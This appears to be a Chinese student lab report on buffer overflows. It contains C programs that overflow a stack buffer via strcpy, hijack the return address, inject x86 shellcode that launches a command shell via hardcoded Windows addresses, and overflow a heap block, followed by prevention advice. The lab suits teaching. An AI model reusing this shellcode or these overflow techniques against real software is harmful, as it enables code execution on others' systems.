缓冲区溢出
一、实验目的
该实验为验证性实验,实验目的如下:
1、掌握缓冲区溢出的基本原理。
2、掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。
二、实验内容及步骤
1、理解缓冲区溢出的基本原理。
2、利用函数strcpy()编程实现一个简单的缓冲区溢出实例。
3、总结预防缓冲区溢出的方法。
三、实验要求
1、本实验一人一组,编程语言为C。
2、要求学生掌握缓冲区溢出的基本原理,并熟练掌握C语言编程。
3、要求学生能够编程实现一个简单的缓冲区溢出实例。
四、实验运行截图
五、实验代码
//代码1:
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
int main(int argc, char *argv[])
{
fun1(argv[1]);
return 0;
}
//代码2:
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
void fun2()
{
printf("Call fun2");
}
int main(int argc, char *argv[])
{
printf("Address Of fun2=%p\n",fun2);
fun1(argv[1]);
return 0;
}
//代码3:
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
void fun2()
{
printf("Call fun2");
}
int main(int argc, char *argv[])
{
printf("Address Of fun2=%p\n",fun2);
fun1("abcdefghijklmnopqrstuvwxyz12\xBD\x12\x40");
return 0;
}
//代码4:
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
int main(int argc, char *argv[])
{
char buffer[] = "abcdefghijklmnopqrstuvwxyz12\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x77\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0" "\x83\xC4\x12\x5D";
fun1(buffer);
return 0;
}
//代码5:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
main (int argc, char *argv[])
{
char *buffer1, * buffer2;
char str[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09";
buffer1= (char*)malloc (32);
buffer2= (char*)malloc (16);
/*向buffer1中复制,多复制6字节*/
memcpy (buffer1, str, 32+6);
free (buffer1);
free (buffer2);
return 0;
}
六、实验总结
在本次实验中我对于缓冲区溢出的知识有了一定的认识,跟着PPT尝试了栈溢出和堆溢出的实践操作,按照整数溢出的方式,学习自行编码尝试了用溢出攻击来修改密码。同时也通过学习,了解了一些关于避免缓冲区溢出的知识如使用封装的安全函数,并限定函数中内容大小等方式。
七、思考题
1.不要把用户的输入作为参数传到格式化字符串处理函数中,例如,printf("%s", argv[1])。
2.字符串处理避免使用strcpy,strcat,sprintf,gets。应该使用strncpy,strncat,snprintf。strlcpy和strlcat都是NULL结尾。
3.检查文件路径的长度,不要超过系统允许的最大值。